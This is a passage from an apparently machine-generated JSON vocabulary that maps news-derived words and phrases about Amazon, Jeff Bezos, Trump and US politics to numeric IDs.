negotiations": 10551, "budget meaning": 10552, "memes making": 10553, "free college": 10554, "claim does": 10555, "cattleman straw": 10556, "debt just": 10557, "eduardo hernandez": 10558, "heartland": 10559, "ended bezos": 10560, "victory seemingly": 10561, "sales record": 10562, "towel wrapped": 10563, "wrote feb": 10564, "whammy": 10565, "swbtaos": 10566, "europe bmw": 10567, "dozen parents": 10568, "amazon reviewer": 10569, "market considering": 10570, "garth": 10571, "sex partners": 10572, "talker": 10573, "similarity scores": 10574, "country haaretz": 10575, "jenner alabama": 10576, "championships": 10577, "major stories": 10578, "big games": 10579, "metrics posted": 10580, "amazon general": 10581, "strong defences": 10582, "existing antitrust": 10583, "ig says": 10584, "symbiotic relationship": 10585, "read fear": 10586, "impressive benefits": 10587, "poor postal": 10588, "rumoured": 10589, "mounting tape": 10590, "consumers directly": 10591, "amazon microsoft": 10592, "fsoc": 10593, "trump violated": 10594, "termed generous": 10595, "dulles": 10596, "thought bezos": 10597, "triggered divorce": 10598, "customers signed": 10599, "hogwash": 10600, "strings attached": 10601, "final china": 10602, "society maybe": 10603, "shares fmr": 10604, "reignited talk": 10605, "avail usps": 10606, "ecommerce revenue": 10607, "va told": 10608, "pressured white": 10609, "spoiler": 10610, "mothers orphaned": 10611, "slats": 10612, "just published": 10613, "protection measures": 10614, "local area": 10615, "4wuuelnwrc": 10616, "stock drop": 10617, "revival recently": 10618, "guaranteeing": 10619, "cigar": 10620, "unlikely journey": 10621, "securing deal": 10622, "thatandy mccabe": 10623, "transit systems": 10624, "reaching patent": 10625, "president couple": 10626, "month chopra": 10627, "china asia": 10628, "lawsuit stated": 10629, "globes data": 10630, "cases appeared": 10631, "conservative faculty": 10632, "laments lost": 10633, "megacap": 10634, "ruben": 10635, "impending storms": 10636, "research reiterates": 10637, "business videourl": 10638, "splinter published": 10639, "salles founded": 10640, "test scores": 10641, "madhavan": 10642, "relief work": 10643, "yelp just": 10644, "groups suing": 10645, "case expected": 10646, "inc_pubdate 2019": 10647, "intercepted packages": 10648, "website crashes": 10649, "224": 10650, "harass trump": 10651, "iframes": 10652, "asked": 10653, "s9x": 10654, "experiencing": 10655, "loves trump": 10656, "amid government": 10657, "board fractional": 10658, "democratize commerce": 10659, "company embrapa": 10660, "atob a4ee": 10661, "apples comparison": 10662, "hill pennsylvania": 10663, "avoid potential": 10664, "shoe law": 10665, "famous steele": 10666, "size shirts": 10667, "\u0430clearly imaginary": 10668, "incorrectly causing": 10669, "creates jobs": 10670, "sexts": 10671, "usatoda usatodaysports": 10672, "company viewing": 10673, "mardi": 10674, "plans told": 10675, "share investors": 10676, "rbi": 10677, "jelly": 10678, "doubt regarding": 10679, "old donald": 10680, "longest blackout": 10681, "guedes": 10682, "acronym": 10683, "rhyming cadence\u0430in": 10684, "home listings": 10685, "ago parkland": 10686, "record quarter": 10687, "follows james": 10688, "google bezos": 10689, "thorough review": 10690, "amazon lost": 10691, "wellness team": 10692, "early jeff": 10693, "school lunch": 10694, "undemocratic usurpation": 10695, "morwenna coniam": 10696, "key west": 10697, "stop jeff": 10698, "command ordering": 10699, "carolina clybourne": 10700, "account management": 10701, "rack": 10702, "cohn told": 10703, "host local": 10704, "wisconsin facility": 10705, "nyt piece": 10706, "1942": 10707, "downtown jails": 10708, "best matches": 10709, "political story": 10710, "m2b": 10711, "alert arrived": 10712, "provide key": 10713, "mueller ongoing": 10714, "mundo": 10715, "correspondent huawei": 10716, "amato office": 10717, "company stamford": 10718, "list facebook": 10719, "dont expect": 10720, "year increases": 10721, "intrusions": 10722, "definitely investigate": 10723, "bezos graduated": 10724, "mother daughter": 10725, "single carrier": 10726, "keaton frustration": 10727, "great causes": 10728, "putin wondered": 10729, "neighborhood governor": 10730, "sense according": 10731, "general rule": 10732, "technology does": 10733, "class clown": 10734, "administration corporation": 10735, "legal costs": 10736, "literally talking": 10737, "favored": 10738, "globalist": 10739, "men indicted": 10740, "fitch dollar": 10741, "chris collins": 10742, "fleabag amazon": 10743, "quality replica": 10744, "reagan left": 10745, "watch start": 10746, "martin chief": 10747, "gushing love": 10748, "vicky": 10749, "wire report": 10750, "securities told": 10751, "loveland colorado": 10752, "makes sure": 10753, "inexplicably reported": 10754, "class warfare": 10755, "minhaj uses": 10756, "users queries": 10757, "changing economy": 10758, "idra novey": 10759, "confidants": 10760, "beverages played": 10761, "stadium": 10762, "outbreak based": 10763, "record volatility": 10764, "provides reduced": 10765, "interlocking": 10766, "trump coming": 10767, "sorry lefties": 10768, "stuff matters": 10769, "million share": 10770, "enormous number": 10771, "offering billions": 10772, "returning senators": 10773, "2018 accenture": 10774, "newspaper coverage": 10775, "website": 10776, "florence anticipation": 10777, "magazine daily": 10778, "bezos followed": 10779, "trump officially": 10780, "pilgrim": 10781, "cogdeill": 10782, "flight company": 10783, "produced think": 10784, "false positives": 10785, "cloud vendor": 10786, "funded powerful": 10787, "stier": 10788, "owns newspaper": 10789, "11m shares": 10790, "power cords": 10791, "deregulation efforts": 10792, "just want": 10793, "rumsey": 10794, "697": 10795, "peso": 10796, "rate customers": 10797, "alternative football": 10798, "appears president": 10799, "gibson": 10800, "years beginning": 10801, "latest donald": 10802, "wage creator": 10803, "coyle sent": 10804, "robert schroeder": 10805, "chamber member": 10806, "winded feature": 10807, "425 million": 10808, "global center": 10809, "man jude": 10810, "homespun charm": 10811, "texas fedex": 10812, "family specifically": 10813, "direction going": 10814, "economic environment": 10815, "warned nic": 10816, "pays sales": 10817, "innovation": 10818, "hooked words": 10819, "security threat": 10820, "zinkes foundation": 10821, "companies antitrust": 10822, "california company": 10823, "provided comment": 10824, "measures aimed": 10825, "preorders": 10826, "reactions rep": 10827, "alibaba trump": 10828, "market starts": 10829, "actually generate": 10830, "papes": 10831, "moving production": 10832, "eichengreen": 10833, "entire congressional": 10834, "reveal": 10835, "warwick": 10836, "service rates": 10837, "luther albright": 10838, "segall bryant": 10839, "buying cramer": 10840, "morning good": 10841, "job listing": 10842, "restraining effect": 10843, "hates homosexuals": 10844, "protest outside": 10845, "various city": 10846, "grassroots movement": 10847, "nutritious": 10848, "unfit": 10849, "798": 10850, "released": 10851, "pellico": 10852, "faced heavy": 10853, "nutanix ntnx": 10854, "benson harf": 10855, "posts sanders": 10856, "howard saw": 10857, "ninth place": 10858, "microsd": 10859, "commander finally": 10860, "new companies": 10861, "sachs merchant": 10862, "unsung": 10863, "subcommittee announced": 10864, "physics little": 10865, "tmz reported": 10866, "career berating": 10867, "china operations": 10868, "taxes actually": 10869, "lunar outpost": 10870, "joint statement": 10871, "british public": 10872, "worse rising": 10873, "hospitals according": 10874, "beauregard sessions": 10875, "needs low": 10876, "pare": 10877, "author ian": 10878, "retribution based": 10879, "smith declined": 10880, "says prime": 10881, "color texture": 10882, "measurement": 10883, "clinton": 10884, "lawyers suing": 10885, "writer previously": 10886, "senate primary": 10887, "hardly necessary": 10888, "want immigration": 10889, "wasn influenced": 10890, "saveourfuture notwithtrump": 10891, "gap councilwoman": 10892, "series report": 10893, "regarding tariffs": 10894, "rich deal": 10895, "group 2018": 10896, "alfre woodard": 10897, "say word": 10898, "criticize": 10899, "police records": 10900, "cornerstone green": 10901, "mps": 10902, "extracting unearned": 10903, "tit": 10904, "chinese spies": 10905, "698": 10906, "northeastern": 10907, "fewer young": 10908, "anymore dimondstein": 10909, "market say": 10910, "itsauthority": 10911, "virtual servant": 10912, "escalation ofthe": 10913, "amazon shipments": 10914, "breaks tesla": 10915, "abramson profiles": 10916, "pleasingly affable": 10917, "exit white": 10918, "ice targeting": 10919, "diplomacy lot": 10920, "elderly donors": 10921, "note shared": 10922, "rich progressives": 10923, "amazon especially": 10924, "categorically false": 10925, "political levi": 10926, "trump admits": 10927, "billion disaster": 10928, "xly amzn": 10929, "million active": 10930, "gumshoe says": 10931, "beloved": 10932, "release mutually": 10933, "takes stepfather": 10934, "party chair": 10935, "regulatory threshold": 10936, "wildfires hawaii": 10937, "qdrops": 10938, "\u0630\u0627\u0643": 10939, "syrian offense": 10940, "leading news": 10941, "private securities": 10942, "robertson tags": 10943, "bodeen": 10944, "art life": 10945, "amazon enemies": 10946, "174": 10947, "congressman andy": 10948, "tshisekedi": 10949, "owners mark": 10950, "convenient line": 10951, "bilking": 10952, "place stranglehold": 10953, "important conclusion": 10954, "stacy": 10955, "china seeks": 10956, "wanted aggressive": 10957, "momentous white": 10958, "kardashian gasol": 10959, "amendments": 10960, "foods cookbook": 10961, "safety violation": 10962, "help yes": 10963, "seattle acute": 10964, "escalating war": 10965, "pre tax": 10966, "gleefully posted": 10967, "sky high": 10968, "setting aggressive": 10969, "cleo wade": 10970, "night running": 10971, "2017 compared": 10972, "public positions": 10973, "nearly 223": 10974, "journalism copyright": 10975, "technology won": 10976, "versus google": 10977, "group later": 10978, "sheldon": 10979, "year continuing": 10980, "5g service": 10981, "biggest expenses": 10982, "receive tough": 10983, "backyard ocasio": 10984, "usps business": 10985, "campaign neil": 10986, "drawing closer": 10987, "robo relief": 10988, "2019 living": 10989, "products fully": 10990, "secure cloud": 10991, "colossal failures": 10992, "suffered blaming": 10993, "injection": 10994, "strike amazon": 10995, "meddled": 10996, "partisan gap": 10997, "earth bezos": 10998, "potentially receive": 10999, "launching movement": 11000, "birth control": 11001, "misdiagnosed amazon": 11002, "month subscription": 11003, "selfie posters": 11004, "purge fake": 11005, "001": 11006, "capes": 11007, "counterfeits": 11008, "bartiromo good": 11009, "murdoch owned": 11010, "p8": 11011, "privacy debate": 11012, "alex guill\u00e9n": 11013, "plans telecoms": 11014, "believes democracy": 11015, "female factory": 11016, "allows driver": 11017, "backside line": 11018, "rielle hunter": 11019, "gambling site": 11020, "wrote china": 11021, "office having": 11022, "line owned": 11023, "jim mattis": 11024, "law favoring": 11025, "edwards": 11026, "executive director": 11027, "shaken": 11028, "letter criticises": 11029, "team sky": 11030, "good ocasio": 11031, "mailers plummeted": 11032, "ticketing": 11033, "adding stress": 11034, "huge promises": 11035, "endearing bird": 11036, "refunds": 11037, "deliver better": 11038, "taking special": 11039, "cites sources": 11040, "lamborghini urus": 11041, "unflattering coverage": 11042, "naeem": 11043, "certifications": 11044, "bezos slow": 11045, "console": 11046, "tongue firmly": 11047, "auctions wsj": 11048, "attracted opprobrium": 11049, "entire amazon": 11050, "stoke economic": 11051, "tracker": 11052, "political opponent": 11053, "decals": 11054, "celebrates bezos": 11055, "116 500": 11056, "best western": 11057, "legions": 11058, "heart amazon": 11059, "great thought": 11060, "upbringing": 11061, "lobbying largesse": 11062, "missile sites": 11063, "unit post": 11064, "having access": 11065, "waysactually furthered": 11066, "sanchez devices": 11067, "requested multiple": 11068, "firstamendment news": 11069, "checkout line": 11070, "abbie cornish": 11071, "hasn stopped": 11072, "usa report": 11073, "including constellation": 11074, "frmr": 11075, "popular saying": 11076, "growing list": 11077, "newt": 11078, "signs saying": 11079, "think carrier": 11080, "1933": 11081, "new global": 11082, "business support": 11083, "covering lot": 11084, "unveiled new": 11085, "receives customs": 11086, "firm note": 11087, "tailer pricing": 11088, "related components": 11089, "possible parscale": 11090, "vegetation intact": 11091, "company acknowledged": 11092, "dimmed lights": 11093, "tell president": 11094, "challenging media": 11095, "stands chance": 11096, "yes writing": 11097, "activity reaches": 11098, "katy tur": 11099, "creativeness": 11100, "issue milton": 11101, "representation": 11102, "bags wet": 11103, "achieve mainstream": 11104, "shopping website": 11105, "aggrieved": 11106, "outsized personality": 11107, "aspiring novelists": 11108, "day leadership": 11109, "corporate performance": 11110, "aggressive seizure": 11111, "amzn fagan": 11112, "rights founding": 11113, "fact connect": 11114, "having taken": 11115, "known whoopi": 11116, "subscribing showing": 11117, "bgr": 11118, "popular hardware": 11119, "faces review": 11120, "nil": 11121, "finance large": 11122, "speculation regarding": 11123, "busy day": 11124, "darkest days": 11125, "reaping wealth": 11126, "bolsonaro rise": 11127, "singing bibble": 11128, "merged creating": 11129, "makes 98point6": 11130, "arcbest": 11131, "instead proposing": 11132, "wants trump": 11133, "forcing people": 11134, "victory celebration": 11135, "patenting wristband": 11136, "spencer": 11137, "day prime": 11138, "hickman writes": 11139, "television business": 11140, "newly revealed": 11141, "related report": 11142, "archival footage": 11143, "refugees escape": 11144, "stride": 11145, "valid question": 11146, "financial filing": 11147, "just oracle": 11148, "concept stage": 11149, "2018 movie": 11150, "news outlets": 11151, "wrongly identifies": 11152, "867 shares": 11153, "economic model": 11154, "alina thanks": 11155, "internal google": 11156, "rollout similar": 11157, "trump committed": 11158, "day offer": 11159, "homebase 241": 11160, "century business": 11161, "headlinetext colbert": 11162, "tactical": 11163, "8220 money": 11164, "450 gift": 11165, "racial sexual": 11166, "jon_bois": 11167, "hikes president": 11168, "ice shut": 11169, "competitive mergers": 11170, "power citizens": 11171, "jon woods": 11172, "start looking": 11173, "new president": 11174, "costco cost": 11175, "candidacy": 11176, "list dr": 11177, "michael hayden": 11178, "prix goncourt": 11179, "lobbying operations": 11180, "post election": 11181, "pill light": 11182, "music festival": 11183, "fraud white": 11184, "model driving": 11185, "despises bezos": 11186, "sector don": 11187, "dna technology": 11188, "recommend continuation": 11189, "levered": 11190, "bezos uses": 11191, "brandon debot": 11192, "attacks media": 11193, "null trackingpixel": 11194, "business vaheesan": 11195, "tv anchors": 11196, "media embedded": 11197, "film festivals": 11198, "vindictive": 11199, "begun looking": 11200, "wool": 11201, "center 909": 11202, "delves": 11203, "removes anti": 11204, "t5q function": 11205, "veronica chambers": 11206, "hq2 coming": 11207, "retailer seeks": 11208, "flatter": 11209, "cosmo skymed": 11210, "900 acres": 11211, "metcalf": 11212, "language suggests": 11213, "improve lives": 11214, "orioles": 11215, "israeli capital": 11216, "perspective stock": 11217, "sites kavanaugh": 11218, "tangible progress": 11219, "ultimately creating": 11220, "competitor kroger": 11221, "jim sinegal": 11222, "runway": 11223, "believe tesco": 11224, "backed newspaper": 11225, "women revolted": 11226, "spicer spicer": 11227, "brooklyn home": 11228, "committee cbs": 11229, "smoking gun": 11230, "york aug": 11231, "violates company": 11232, "untypical cover": 11233, "sole source": 11234, "busy wiping": 11235, "extreme dysfunction": 11236, "increasingly concerned": 11237, "tom brady": 11238, "time foe": 11239, "celebrating fort": 11240, "efficacy": 11241, "tria": 11242, "ala named": 11243, "car robbery": 11244, "na7it1": 11245, "_from r40": 11246, "price 715": 11247, "x8 log": 11248, "2017 african": 11249, "model labor": 11250, "reklaitis marketwatch": 11251, "city neighborhoods": 11252, "gild": 11253, "mueller pack": 11254, "trading slightly": 11255, "twist greene": 11256, "euro tm": 11257, "scans": 11258, "thughouse": 11259, "india aug": 11260, "decree": 11261, "day story": 11262, "danner mountain": 11263, "jacob weindling": 11264, "labor right": 11265, "horrible deal": 11266, "epa wheeler": 11267, "collusion facebook": 11268, "opportunityzones history": 11269, "shortages": 11270, "realdonaldtrump tweeted": 11271, "just run": 11272, "improve services": 11273, "costco quite": 11274, "placing brick": 11275, "open bid": 11276, "silver clearly": 11277, "rent stabilized": 11278, "puerto rico": 11279, "add newsletter": 11280, "albuquerque grew": 11281, "tribune": 11282, "polling early": 11283, "counterfeit goods": 11284, "called pay": 11285, "amazon personal": 11286, "skinned faces": 11287, "keeping kids": 11288, "leasing market": 11289, "correct picture": 11290, "svp russell": 11291, "especially overseas": 11292, "ceo slams": 11293, "loggers": 11294, "amazon sells": 11295, "particularly exciting": 11296, "transportation charges": 11297, "letter sees": 11298, "deputy says": 11299, "common sense": 11300, "dual role": 11301, "eve trading": 11302, "ghirda people": 11303, "english arabic": 11304, "large majority": 11305, "single largest": 11306, "sec chairman": 11307, "sanchez phones": 11308, "defense attorneys": 11309, "urging rights": 11310, "greatly reduce": 11311, "rivals favoring": 11312, "family global": 11313, "story senators": 11314, "traces": 11315, "market growth": 11316, "bigcommerce": 11317, "_sx342_ql70_": 11318, "praising democratic": 11319, "medium bezos": 11320, "decent work": 11321, "magazine pointed": 11322, "shock billy": 11323, "net new": 11324, "cibc": 11325, "major financial": 11326, "17369482 donald": 11327, "bluest eye": 11328, "river tactical": 11329, "sex tweet": 11330, "chief recognizing": 11331, "starbucks harley": 11332, "eventuality": 11333, "personal invention": 11334, "mexico hopes": 11335, "ai": 11336, "1539177096": 11337, "measure vital": 11338, "final number": 11339, "days cnn": 11340, "construction workers": 11341, "america gma": 11342, "date suggests": 11343, "week sign": 11344, "supposedly loathes": 11345, "inflicted": 11346, "boston tax": 11347, "doubts subside": 11348, "bobby": 11349, "microsoft cloud": 11350, "article speculated": 11351, "traister": 11352, "regulation grocery": 11353, "china says": 11354, "basically najarian": 11355, "new electronic": 11356, "ostroy andyostroy": 11357, "camp david": 11358, "services administration": 11359, "low effort": 11360, "circuit spirited": 11361, "parlance": 11362, "backstop": 11363, "curious sheep": 11364, "want local": 11365, "media followers": 11366, "economic benefit": 11367, "require online": 11368, "limiting biometric": 11369, "wealth grew": 11370, "work just": 11371, "receive flak": 11372, "contract public": 11373, "fitness blogger": 11374, "immigrant": 11375, "similar experiences": 11376, "hoist special": 11377, "256 price": 11378, "coven": 11379, "framework": 11380, "server719403": 11381, "swine fever": 11382, "certainly qualify": 11383, "prompted": 11384, "involuntary inactive": 11385, "looks poised": 11386, "doesn spare": 11387, "drawn mounting": 11388, "scars wrinkles": 11389, "operations finances": 11390, "linn": 11391, "christopher horvers": 11392, "elissa": 11393, "won trust": 11394, "time sheet": 11395, "seen numbers": 11396, "pay attention": 11397, "massively": 11398, "rachel jones": 11399, "leader charles": 11400, "customers happy": 11401, "oversaturated second": 11402, "indian elections": 11403, "findings china": 11404, "father feels": 11405, "mercantile": 11406, "rocket separates": 11407, "nyc headquarters": 11408, "insider sales": 11409, "1863": 11410, "demonizing immigrants": 11411, "swede": 11412, "cbs norah": 11413, "facebook entry": 11414, "new outposts": 11415, "loss trump": 11416, "robotexts": 11417, "286 shares": 11418, "barat saltsman": 11419, "welcome pullback": 11420, "rosenberg": 11421, "china health": 11422, "cibc acquired": 11423, "decacorn status": 11424, "employers commit": 11425, "2003 new": 11426, "service agreements": 11427, "fit scale": 11428, "looking earnings": 11429, "bb invested": 11430, "packed national": 11431, "mnuchin counselor": 11432, "federal public": 11433, "employees suffering": 11434, "current fiscal": 11435, "newspaper pushing": 11436, "good valuations": 11437, "collapse posted": 11438, "setplayerproperties configobj": 11439, "r4ee w9x": 11440, "hasn": 11441, "clear motive": 11442, "city company": 11443, "wmur tv": 11444, "evacuate": 11445, "significant icann": 11446, "hurwitz criticism": 11447, "wagner": 11448, "mold write": 11449, "cnn jim": 11450, "atomic": 11451, "100x100 uploaded_files": 11452, "casual goldman": 11453, "considers splc": 11454, "outstanding issues": 11455, "years new": 11456, "flu season": 11457, "literally 100x": 11458, "direction bolsonaro": 11459, "hypothetical field": 11460, "supports entrepreneurs": 11461, "journalistic reputation": 11462, "paintingturmoil": 11463, "enquirer turned": 11464, "democracy hostage": 11465, "americafirst": 11466, "undercharges amazon": 11467, "prioritize": 11468, "agrees sale": 11469, "so2rmu3ecd nws": 11470, "leadership success": 11471, "sign today": 11472, "demonstrated amazon": 11473, "click buy": 11474, "confirmed commercial": 11475, "lobosco reports": 11476, "metre tall": 11477, "lacking": 11478, "house prices": 11479, "egregious sort": 11480, "amazon brennen": 11481, "plus washington": 11482, "lawyers discussed": 11483, "dns": 11484, "numerous amazon": 11485, "rubio": 11486, "acn 739": 11487, "stopped claiming": 11488, "quarter compared": 11489, "don sell": 11490, "nude pictures": 11491, "ultimately win": 11492, "chief statements": 11493, "\u02c8ri r35i5t": 11494, "mans winner": 11495, "desktoplogo": 11496, "memorabilia item": 11497, "campaign cnn": 11498, "forcing families": 11499, "government engineered": 11500, "101 year": 11501, "offered reassurance": 11502, "outgoing": 11503, "founder chairman": 11504, "trump charlie": 11505, "postal shipping": 11506, "norwegian": 11507, "fallacious": 11508, "monument": 11509, "idiotic male": 11510, "asrepublicans": 11511, "biggest reasons": 11512, "bernstein analyst": 11513, "koett": 11514, "citizen": 11515, "report prompted": 11516, "okeechobee jussie": 11517, "johnson daniel": 11518, "private golf": 11519, "branded version": 11520, "as_pez": 11521, "progressive smear": 11522, "supports trump": 11523, "tgt brands": 11524, "illinois industrial": 11525, "cooperating witness": 11526, "bad time": 11527, "way does": 11528, "james cayne": 11529, "dried cow": 11530, "pal pecker": 11531, "pecker told": 11532, "researchers studying": 11533, "republicans signaling": 11534, "trigger long": 11535, "online spending": 11536, "pointed price": 11537, "rickards renovation": 11538, "media specialist": 11539, "new leadership": 11540, "new fissures": 11541, "industrial levels": 11542, "extensive deforestation": 11543, "things look": 11544, "tech laps": 11545, "pesky": 11546, "google oracle": 11547, "viewing": 11548, "budget deficit": 11549, "bezos management": 11550, "people given": 11551, "custodial": 11552, "bremberg bremberg": 11553, "holes": 11554, "chemistry": 11555, "alabama 2017": 11556, "decision obviously": 11557, "wills": 11558, "surfaced later": 11559, "automated effort": 11560, "month passed": 11561, "dropped recently": 11562, "cmg hd": 11563, "1970s itt": 11564, "affairs nyc": 11565, "insufficient action": 11566, "possible avenue": 11567, "soon text": 11568, "criminal enforcement": 11569, "reading tech": 11570, "downloaded lifestyle": 11571, "nonpartisan": 11572, "casino properties": 11573, "alexander edwards": 11574, "clock": 11575, "prime popularity": 11576, "die geographyiq": 11577, "provided growing": 11578, "crises 2018": 11579, "nonviolent medellin": 11580, "significant value": 11581, "pepsico boss": 11582, "independent country": 11583, "story alphabet": 11584, "ferreting": 11585, "staff warning": 11586, "supplier market": 11587, "bashing bezos": 11588, "implicit warning": 11589, "lauderdale area": 11590, "ami informed": 11591, "pending case": 11592, "wild card": 11593, "planned tesla": 11594, "entrants nasdaq": 11595, "conference ain": 11596, "hugest": 11597, "salted": 11598, "silly": 11599, "followed moments": 11600, "carped": 11601, "border posted": 11602, "kvaal wrote": 11603, "seeks death": 11604, "later learned": 11605, "establish long": 11606, "doesn mind": 11607, "senate shutdown": 11608, "crafting": 11609, "nomadic": 11610, "think company": 11611, "strong labor": 11612, "herzog": 11613, "sent 734": 11614, "news available": 11615, "immigrant agenda": 11616, "justice best": 11617, "north east": 11618, "federalist": 11619, "draws boos": 11620, "read information": 11621, "finally reunites": 11622, "sensor uber": 11623, "recently published": 11624, "3806": 11625, "comment reporting": 11626, "scosche industries": 11627, "3x average": 11628, "tweet thread": 11629, "tributes cbs": 11630, "despite assurances": 11631, "repeatedly violated": 11632, "tailers": 11633, "insinuates": 11634, "retail housing": 11635, "paraguay": 11636, "piti": 11637, "formidable adversary": 11638, "espinal konst": 11639, "pizza": 11640, "administration officials": 11641, "alum ben": 11642, "lauren worked": 11643, "lanuch": 11644, "olivers": 11645, "materials pinterest": 11646, "characterized": 11647, "serving": 11648, "business insider": 11649, "steve adler": 11650, "place mackenzie": 11651, "million story": 11652, "points technology": 11653, "nyregion bomb": 11654, "labor standards": 11655, "1st source": 11656, "fatal lynch": 11657, "brussels 2018": 11658, "cable clips": 11659, "nader naini": 11660, "president aggressive": 11661, "scrutiny policymakers": 11662, "forests battled": 11663, "1tn matter": 11664, "traitors": 11665, "voters including": 11666, "billion project": 11667, "decent jobs": 11668, "order study": 11669, "amazon marketplaces": 11670, "gannett": 11671, "metropolitan housing": 11672, "ideas impact": 11673, "employee wages": 11674, "outdo amerika": 11675, "lowering": 11676, "amazing happens": 11677, "investment updates": 11678, "consultancy l2": 11679, "finder": 11680, "fanciful": 11681, "concerns remain": 11682, "current package": 11683, "comey copies": 11684, "chain sells": 11685, "prevent banks": 11686, "remain bearish": 11687, "billion good": 11688, "wynne": 11689, "accumulates": 11690, "past midnight": 11691, "unviability": 11692, "overtures": 11693, "weed appeared": 11694, "accidentally shot": 11695, "protest maybe": 11696, "hot dow": 11697, "glenn rocket": 11698, "imagine amazon": 11699, "sap se": 11700, "ac360": 11701, "awhile": 11702, "pubic": 11703, "wages bezos": 11704, "solittle": 11705, "invited schweitzer": 11706, "washington montgomery": 11707, "expert gavin": 11708, "carranza": 11709, "children schools": 11710, "previous letter": 11711, "belnades": 11712, "ellison mark": 11713, "bin laden": 11714, "towners": 11715, "tech stalwarts": 11716, "need diversity": 11717, "border policy": 11718, "wall sacred": 11719, "vital legal": 11720, "pakistan": 11721, "unlocking tens": 11722, "maloney requested": 11723, "complete reversal": 11724, "products believe": 11725, "l4 a4ee": 11726, "sinema flips": 11727, "pictures mads": 11728, "unfairly crushing": 11729, "predicts house": 11730, "website attempting": 11731, "adequately addressed": 11732, "chinese amazon": 11733, "encounter trump": 11734, "market professionals": 11735, "strategic investments": 11736, "marcio jose": 11737, "jeffbezoswatch": 11738, "drag em": 11739, "economists thought": 11740, "considers rampant": 11741, "create nationwide": 11742, "cheese small": 11743, "present cargo": 11744, "season ended": 11745, "prescription drug": 11746, "campaign finance": 11747, "wodj3zgu8a michael": 11748, "bezos": 11749, "furthering": 11750, "governorships": 11751, "trade spat": 11752, "syrian": 11753, "upstate republican": 11754, "relations commentary": 11755, "gothamist shut": 11756, "hours long": 11757, "marketing mailers": 11758, "dc apple": 11759, "consumer choice": 11760, "bronx stars": 11761, "collaborative": 11762, "solely dispute": 11763, "gotenna mesh": 11764, "pupil": 11765, "demolish google": 11766, "hq2 munger": 11767, "doesn fear": 11768, "long game": 11769, "sent 570": 11770, "wealthy ceo": 11771, "slide shows": 11772, "legal concerns": 11773, "demonizes": 11774, "privately pushed": 11775, "waxed": 11776, "states apple": 11777, "called foundation": 11778, "fourth day": 11779, "video recorder": 11780, "cultural significance": 11781, "david case": 11782, "delivery network": 11783, "img_tile_override_imageref": 11784, "public photo": 11785, "firm 280": 11786, "remembrance denver": 11787, "cohesion": 11788, "controversial departure": 11789, "security trade": 11790, "lemire": 11791, "sent right": 11792, "settimeout": 11793, "1911 standard": 11794, "recently amazon": 11795, "legally buy": 11796, "dispatch": 11797, "web site": 11798, "2018when 1999": 11799, "transportation secretary": 11800, "bezos reaches": 11801, "alleged gender": 11802, "double monetize": 11803, "new house": 11804, "allege shadowbanning": 11805, "yard line": 11806, "industry sheuvachman": 11807, "accuse lampert": 11808, "item traffic": 11809, "rung told": 11810, "inc_typid": 11811, "constantly whine": 11812, "massive camus": 11813, "relapse": 11814, "ordered 450": 11815, "hemmed": 11816, "deadline citing": 11817, "want socialist": 11818, "unique events": 11819, "screaming": 11820, "22201 202": 11821, "latest corporate": 11822, "2014 roku": 11823, "department backed": 11824, "ceraweek 2019": 11825, "comment andrew": 11826, "stop marketing": 11827, "indias new": 11828, "pruitt aide": 11829, "roosevelt jeff": 11830, "world mattis": 11831, "liked people": 11832, "googl manipulating": 11833, "really takes": 11834, "getting revenge": 11835, "legitimate reasons": 11836, "expand far": 11837, "express delivery": 11838, "released xly": 11839, "news view": 11840, "reduced shipping": 11841, "national economic": 11842, "queens undermines": 11843, "conference phone": 11844, "house nbc": 11845, "self restraint": 11846, "help entrepreneurs": 11847, "historical characters": 11848, "authorizing": 11849, "sanders felt": 11850, "individual sku": 11851, "glenview capital": 11852, "absurd rise": 11853, "blocks louisiana": 11854, "president wished": 11855, "incorporated reported": 11856, "nonsense plan": 11857, "sanders politics": 11858, "text posted": 11859, "continued expansion": 11860, "clarkson hammond": 11861, "secret life": 11862, "s\u00e3o luiz": 11863, "finishing speech": 11864, "mainstream": 11865, "republican hadn": 11866, "ccnmarkets": 11867, "rourke claim": 11868, "market timers": 11869, "straps": 11870, "appoints new": 11871, "says justice": 11872, "welfare jeff": 11873, "business development": 11874, "corporate rivals": 11875, "thanks norah": 11876, "advance solutions": 11877, "huge relief": 11878, "privatizing": 11879, "times ebitd": 11880, "hourly minimum": 11881, "401k 2018": 11882, "commodity traders": 11883, "safe seats": 11884, "centre home": 11885, "kickbacks": 11886, "brazil anti": 11887, "segments pale": 11888, "trade friction": 11889, "dreaming": 11890, "medical accommodation": 11891, "usa knows": 11892, "132nd": 11893, "hq2 plans": 11894, "morethough": 11895, "push policy": 11896, "select disable": 11897, "soon shiong": 11898, "privately urging": 11899, "china trade": 11900, "american publicly": 11901, "defense dod": 11902, "century set": 11903, "fallout gop": 11904, "exterior medium": 11905, "signature accomplishments": 11906, "archival video": 11907, "digit growth": 11908, "example chickens": 11909, "600 employees": 11910, "stockholder": 11911, "director getting": 11912, "itselfit": 11913, "drivers earn": 11914, "sweeping story": 11915, "estimates 400": 11916, "floral dress": 11917, "story googles": 11918, "robo advice": 11919, "anniversary phony": 11920, "morgan reported": 11921, "film minority": 11922, "pure": 11923, "mid noughties": 11924, "sell certain": 11925, "malaysia": 11926, "running months": 11927, "hog john": 11928, "sausage": 11929, "term election": 11930, "world cup": 11931, "robina suwol": 11932, "india savings": 11933, "demarcation": 11934, "related posts": 11935, "funding trump": 11936, "isn coming": 11937, "angle": 11938, "brake fluid": 11939, "paul gosar": 11940, "pitfalls await": 11941, "fro amazon": 11942, "huge antitrust": 11943, "badassery did": 11944, "conservatives trump": 11945, "forehead": 11946, "jay don": 11947, "based online": 11948, "anonymous employee": 11949, "500 amazon": 11950, "synopsis presents": 11951, "pecker wrote": 11952, "president key": 11953, "chopping consumer": 11954, "sports leagues": 11955, "eggs": 11956, "nationalist leaders": 11957, "quickly political": 11958, "calendar email": 11959, "greater intervention": 11960, "bolding": 11961, "increasing power": 11962, "segway inventor": 11963, "quash dissenting": 11964, "456 possible": 11965, "16pm bigbusiness": 11966, "money instead": 11967, "flesh related": 11968, "inside target": 11969, "initially demanded": 11970, "catchy": 11971, "leading efforts": 11972, "wind farm": 11973, "court sided": 11974, "coyly": 11975, "trump mexico": 11976, "president tsai": 11977, "reportedly investigating": 11978, "manager 2018": 11979, "geraldo rivera": 11980, "private communications": 11981, "blackmailed embedded": 11982, "frequently accuses": 11983, "boot": 11984, "enjoy wide": 11985, "profitability frankly": 11986, "joe contributor": 11987, "acquired consolidation": 11988, "hired jack": 11989, "loudoun playing": 11990, "place jean": 11991, "recognition databases": 